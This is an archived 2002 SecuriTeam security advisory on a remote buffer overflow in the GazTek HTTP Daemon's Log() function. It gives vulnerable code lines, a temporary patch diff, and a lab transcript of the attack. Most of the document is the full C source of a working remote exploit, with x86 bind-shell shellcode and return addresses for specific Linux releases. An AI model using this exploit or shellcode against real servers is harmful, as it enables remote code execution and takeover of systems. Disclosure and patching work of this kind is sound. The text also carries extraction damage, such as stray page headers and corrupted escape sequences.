

[UNIX] GazTek HTTP Daemon Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0050.html>

From: support@securiteam.com

Date: 10/15/02

From: support@securiteam.com

To: list@securiteam.com

Date: 15 Oct 2002 03:17:13 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

GazTek HTTP Daemon Buffer Overflow

SUMMARY

<<http://gaztek.sourceforge.net/>> Ghttpd is a fast and efficient HTTP server that has CGI support. Ghttpd has a small memory foot print and is capable of handling thousands of simultaneous connections. It is ideal for large and small websites. A security vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.

DETAILS

Vulnerable systems:

- * GazTek HTTP Daemon version 1.4-3 and prior

Ghttpd server contains a remotely exploitable buffer overflow which allows an attacker to gain ghttpd's privileges.

The overflow occurs when a long "GET " query is sent trough a session and this is logged by the function Log():

protocol.c:103:

```
Log("Connection from %s, request = \"GET %s\\",  
    inet_ntoa(sa.sin_addr), ptr);
```

While executing the Log() function a buffer is copied without checking

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

boundaries resulting in a buffer overflow:

```
util.c:208: void Log(char *format, ...)
util.c:213: char temp[200], temp2[200], logfilename[255];
util.c:219: vsprintf(temp, format, ap);
```

This flaw was detected in the latest ghttpd version (1.4–3) but it's likely that the problem exists in previous versions as well, although this was not tested.

A proof of concept exploit was coded for ghttpd servers running on "i386 RedHat 7.3 Linux", "i386 RedHat 7.2 Linux" and "i386 Slackware 8.1" operating systems.

```
[root@testlab httpd]# uname -a
Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
[root@testlab ghttpd]# cat /etc/issue
Red Hat Linux release 7.3 (Valhalla)
```

```
[root@testlab httpd]# ls -al ghttpd
--rwxr-xr-x 1 nobody nobody 34687 Sep 27 02:04 ghttpd
```

```
[root@testlab httpd]# id
uid=0(root) gid=0(root) groups=0(root),
1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

```
[root@testlab httpd]# ./ghttpd
[root@testlab httpd]# ghttpd launched into background, PID = 851
```

```
[root@testlab httpd]# ./PRPghttpd -b 127.0.0.1
Server: GazTek HTTP Daemon v1.4
```

```
[flea@testlab httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1
target: 127.0.0.1
arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0
ip size: 9 bytes
Adjust: 0 bytes
buffer size: 204 bytes
bind shellcode size: 128 bytes
bind shell tcp port: 36864
Injecting code at 0xbfffb9c0...
Done!
```

```
[flea@testlab httpd]$ telnet localhost 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=99(nobody) gid=99(nobody)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) : command
not found
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

Temporary Patch:

Another similar bug affects the Log() function, so here's a temporary fix for both.

```
+++ util.c Sat Sep 28 01:26:33 2002
@@ -210,12 +210,16 @@
     FILE *logfile;
     time_t t;
     struct tm *tm;
-- char temp[200], temp2[200], logfilename[255];
+ char *temp, *temp2;
+ char logfilename[255];
     char datetime[] = "[%d.%m.%Y] [%H:%M:%S]";
     char datetime_final[128];
     va_list ap;

     va_start(ap, format); // format it all into temp
+
+ /* temp[200] overflow patch */
+ temp = malloc(strlen(format)+1024);
-- vsprintf(temp, format, ap);
+ vsnprintf(temp, strlen(format)+1024, format, ap);
     va_end(ap);

@@ -225,6 +229,8 @@
     strftime(datetime_final, 127, datetime, tm);

     // format it all so we have date/time/loginfo
+ /* temp2[200] overflow patch */
+ temp2 = malloc((strlen(temp) + strlen(datetime_final) + 5));
     sprintf(temp2, "%s - %s\n", datetime_final, temp);
     sprintf(logfilename, "%s/ghttpd.log", SERVERROOT);

@@ -234,4 +240,4 @@
     fputs(temp2, logfile); // Save to the file

     fclose(logfile); // Close file
-- }
\ No newline at end of file
+ }
```

EOF

Exploit:

```
/* PRPghttpd.c
```

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place – Suite 330, Boston, MA 02111–1307, USA.

–

PYR^MID, Research Project

Author: flea

Date: October 7, 2002

Members: Apm, flea, thread

Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4–3

Works on:

i386 Redhat 7.2

i386 Redhat 7.3

i386 Slackware 8.1

*/

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
```

```
#define NOP 0x90
#define MIN_BUFFER_SIZE 198
#define MAX_IP_LENGTH 15
#define GAZTEK_PORT 80
#define BIND_PORT 36864
```

```
void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);
```

```
#define ARCH_NUMBER 4
```

```
struct arch {
int id;
char *os;
long addr;
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

```
int adjusted_buf;
} architectures[] = {
{0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbffff9c0, 0},
{1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbffff6b0, 0},
  {2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbffff658, -1},
  {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbffff50c, -32}
};

char bindshell[] =
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";

void synopsis(char *argv[])
{
int i;

printf("PYR/\MID, Research Project 02\n");
  printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");
  printf("SYNOPSIS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n",
argv[0]);
  printf("<ip> - ip address to check lenght\n");
  printf("<remote> - remote target ip addr\n");
  printf("<arch> - remote architecture id\n");
  printf("<banner> - ip addr to check banner\n\n");
printf("Architectures id:\n");

  for(i=0; i<ARCH_NUMBER; i++)
  printf("\t%d, %s, 0x%x\n", architectures[i].id,
architectures[i].os, architectures[i].addr);

exit(0);
}

void get_ban(char *ban_addr)
{
int i, sock_fd;
char *read_buf, *read_buf_toked, *ptr;
struct sockaddr_in target;

if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
{
printf("socket() error.\n");
exit(-1);
}
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

```
target.sin_family = AF_INET;
target.sin_port = htons(GAZTEK_PORT);

if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
{
printf("\">%s\% is an invalid ip address.\%n", ban_addr);
exit(-1);
}

bzero(&(target.sin_zero), 8);

if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
{
printf("connect() error.\%n");
exit(-1);
}

if((write(sock_fd, "HEAD HTTP /\%n\n", 13)) == -1)
{
printf("write() error.\%n");
exit(-1);
}

read_buf = malloc(256);
read_buf_toked = malloc(256);

if((read(sock_fd, read_buf, 256)) == -1)
{
printf("read() error.\%n");
exit(-1);
}

strcpy(read_buf_toked, read_buf);
ptr = strstr(read_buf_toked, "Server");
ptr = strtok(ptr, "\%n");

printf("\">%s\n\n", ptr);

printf("***** FULL HEADERS *****\%n");
ptr = strtok(read_buf, "\%n");

for(i=0; i<4; i++)
{
ptr = strtok(NULL, "\%n");
printf("\">%s\n", ptr);
}
printf("***** FULL HEADERS *****\%n");
exit(0);
}
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

```
main(int argc, char *argv[])
{
int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0,
exp_flg=0;
char *addr, *get_buf, *get_buf_str;
long ret;

extern char *optarg;
extern int optind, optopt;

struct sockaddr_in target;

if(argc == 1)
synops(argv);

while((c = getopt(argc, argv, "b:d:")) != -1)
{
switch(c)
{
case 'b':
addr = malloc(strlen(optarg));
strcpy(addr, optarg);
ban_chk++;
break;
case 'd':
if(!(argv[optind]))
errflg++;
if(!(argv[optind+1]))
errflg++;
if(errflg == 0)
{
if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) >
(ARCH_NUMBER-1))
{
printf("Invalid architecture id.\n");
exit(-1);
}
}

if((inet_addr(argv[optind])) != -1)
ip_lenght = strlen(argv[optind+1]);
else
{
printf("\">%s\" is an invalid ip address.\n", argv[optind]);
exit(-1);
}
addr = malloc(strlen(argv[optind+1]));
strcpy(addr, argv[optind+1]+1);
exp_flg++;
}
}
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

```
break;
case ':':
errflg++;
break;
case '?':
errflg++;
}
}

if(errflg > 0)
synops(argv);

/* check banner info */
if(ban_chk > 0)
get_ban(addr);

if(!(exp_flg))
synops(argv);
/*
    Buffer Size Craft Relation
    min string size = 192 bytes
    string "GET_" size = 4 bytes
    max log ip size "255.255.255.255" = 15 bytes
    string "\n\n" size = 2 bytes
                        = 198 bytes
*/
/* dont count with GET request and newline bytes */
c_size =
((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
/* NULL string byte */
c_size = c_size+1;

/* builds crafted buffer */
get_buf = malloc(c_size);
/* counts with all constants sizes */
get_buf_str = malloc((c_size+4+2));

memset(get_buf, NOP, c_size);
memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell,
strlen(bindshell));
*(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
get_buf[c_size-1] = '\0';

/* final buffer, now just inject on connection */
sprintf(get_buf_str, "GET %s\n\n", get_buf);

/* infos */
printf("target: %s\n", addr);
printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id,
architectures[arch_id].os, architectures[arch_id].addr);
printf("ip size: %d bytes\n", ip_lenght);
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

```
printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);
printf("buffer size: %d bytes\n", strlen(get_buf_str));
printf("bind shellcode size: %d bytes\n", strlen(bindshell));
printf("bind shell tcp port: %d\n", BIND_PORT);
printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);
```

```
/* start socket() */
```

```
if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
{
    printf("socket() error.\n");
    exit(-1);
}
```

```
target.sin_family = AF_INET;
target.sin_port = htons(GAZTEK_PORT);
```

```
if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
{
    printf("\n"%s" is an invalid ip address.\n", addr);
    exit(-1);
}
```

```
bzero(&(target.sin_zero), 8);
```

```
if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))
== -1)
{
    printf("connect() error.\n");
    exit(-1);
}
```

```
if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
{
    printf("write() error.\n");
    exit(-1);
}
```

```
printf("Done!\n");
```

```
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:pyramid-rp@hushmail.com>>
pyramid-rp.

```
=====
```

Securiteam: [UNIX] GazTek HTTP Daemon Buffer Overflow

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[UNIX] J2EE EJB Privacy Leak and DoS"
 - *Messages sorted by:* [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)